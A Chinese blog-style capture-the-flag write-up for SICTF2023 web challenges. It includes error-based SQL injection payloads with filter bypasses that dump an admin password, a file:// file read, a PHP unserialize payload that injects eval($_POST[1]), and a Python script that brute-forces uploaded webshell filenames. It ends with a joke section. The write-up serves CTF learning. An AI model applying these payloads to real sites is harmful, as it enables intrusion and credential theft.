[]SICTF2023 web WP

5 篇文章 2 订阅

目录

web

ezphp

ezupload

舔狗日记


web

ezphp

用户名处存在sql注入

看源码发现是post参数user和pass

fuzz一下

过滤了union,select,空格,=

 ;没过滤尝试堆叠注入无果,updatexml没过滤,报错注入

数据库

user=1'/**/and/**/updatexml(1,concat(0x7e,database()),0)#&pass=1      //ctf_db  

user=0'/**/and/**/updatexml(1,concat(0x7e,(selselectect/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database())),0x7e)#&pass=1    //admin

字段

user=0'/**/and/**/updatexml(1,concat(0x7e,(selselectect/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database())),0x7e)#&pass=1           // Username,Password  

数据

user=0'/**/and/**/updatexml(1,concat(0x7e,(selselectect/**/group_concat(Username)from/**/admin)),0x7e)#&pass=1    //admin
user=0'/**/and/**/updatexml(1,concat(0x7e,(selselectect/**/group_concat(Password)from/**/admin)),0x7e)#&pass=1    // 0909876qwe222  

 登录

post:url=1试试

url=file:///var/www/html/x9sd.php读取x9sd.php

美化一下反序列源码

<?php
class text {
    protected $cmd;
    function __construct($tmp)
    {
        $this->cmd = $tmp;
    }

}

if(isset($_GET['username']) && isset($_GET['unserx'])){
    $var = base64_decode($_GET['unserx']);
           
    if($_GET['username'] === "admin"){
        echo "nonono?";
    }
    $username = urldecode($_GET['username']);
    if($username === "admin"){
        unserialize($var);
    }
    unserialize($var);
    echo("success");
}else{
    echo "I need some ???";
}

?>

 该源码反序列化$var

 构造payload

url编码admin赋值给username

payload

/x9sd.php?username=%2561%2564%256d%2569%2561&unserx=TzoxOiJhIjoxOntzOjY6IgAqAGNtZCI7czoxNjoiZXZhbCgkX1BPU1RbMV0pOyI7fQ==

ezupload

可以上传php文件,但是要爆破文件名,文件名和时间戳有关

import requests
url = ''
for i in range(100000000, 200000000):
    re = url + str(i) + ".php"
    r = requests.post(re)
    if r.status_code == 404:
        a = 0
    else:
        print(re)

复制题目源码在本地搭一个环境,在本地和远程上传php木马(尽量快)

跑出来文件名就可以连antsward了

舔狗日记

宝,我给你发消息,你没回,你一定是把我当空气吧,真好,你离开了空气怎么能活呢,你一定是离不开我,嗯哼,我更爱你了宝

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值